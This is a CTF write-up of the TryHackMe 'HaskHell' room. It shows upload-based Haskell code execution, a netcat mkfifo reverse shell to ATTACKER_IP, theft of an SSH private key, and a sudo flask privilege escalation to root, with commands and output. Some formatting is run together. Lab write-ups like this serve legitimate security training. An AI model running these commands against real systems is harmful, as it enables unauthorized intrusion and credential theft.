HaskHell is a TryHackMe room that simulates a university's "Functional Programming 220" course website. The web app allows students to submit Haskell assignments which are compiled and executed on the server - a classic code injection vulnerability.
Attack Chain:
/home/profsudo flask run to get rootnmap -A 10.10.10.10 -p22,5001
Results:
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3
5001/tcp open http Gunicorn 19.7.1
|_http-title: Homepage
|_http-server-header: gunicorn/19.7.1
Key Findings:
Homepage: http://10.10.10.10:5001/

The website is a "Functional Programming 220" course page with:
feroxbuster -u http://10.10.10.10:5001/ -w /usr/share/wordlists/dirb/common.txt
Found Endpoint: /submit

The /submit endpoint allows uploading .hs (Haskell) files which are compiled and executed on the server.
Complex Haskell Reverse Shell (caused error):

The advanced reverse-shell.hs file caused an "Internal Server Error" due to missing network libraries.
com.hs:
import System.Process
main = callCommand "whoami"

Result:
[1 of 1] Compiling Main ( /home/flask/uploads/com.hs, /home/flask/uploads/com.o )
Linking /home/flask/uploads/com ...
flask
✅ Code execution confirmed! Running as user flask.
com.hs (updated):
import System.Process
main = callCommand "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f | sh -i 2>&1 | nc ATTACKER_IP 6666 >/tmp/f"
Setup Listener:
nc -lvnp 6666
Reverse shell received!
python3 -c 'import pty;pty.spawn("/bin/bash")'
flask@haskhell:~$ ls -la
drwxr-xr-x 6 flask flask 4096 May 27 2020 .
-rw-r--r-- 1 root root 4941 May 27 2020 app.py
drwxrwxr-x 2 flask flask 4096 Dec 30 20:29 uploads
flask@haskhell:/home$ ls
flask haskell prof
flask@haskhell:/home/prof$ cat user.txt
THM{REDACTED}
Found SSH private key in /home/prof/.ssh/:
flask@haskhell:/home/prof/.ssh$ ls -la
-rw-r--r-- 1 prof prof 1679 May 27 2020 id_rsa
-rw-r--r-- 1 prof prof 395 May 27 2020 id_rsa.pub
SSH Login:
chmod 600 id_rsa
ssh -i id_rsa prof@10.10.10.10
prof@haskhell:~$ sudo -l
Found: /usr/bin/flask can be run as root with environment variable FLASK_APP
1. Create a malicious Flask app:
nano /tmp/root.py
import os
os.system("/bin/bash")
2. Export FLASK_APP:
export FLASK_APP=/tmp/root.py
3. Run Flask as root:
sudo /usr/bin/flask run
💥 Root Shell Obtained!
root@haskhell:~#
root@haskhell:~# cat /root/root.txt
THM{REDACTED}
| Flag | Location | Status |
|---|---|---|
| User Flag | /home/prof/user.txt |
✅ Captured |
| Root Flag | /root/root.txt |
✅ Captured |
| Tool | Purpose |
|---|---|
nmap |
Port scanning and service enumeration |
feroxbuster |
Directory brute-forcing |
netcat (nc) |
Receiving reverse shell connections |
GHC |
Haskell compiler (on target) |
SSH |
Connecting with extracted private key |
callCommand provides direct shell accessFLASK_APP environment variable led to root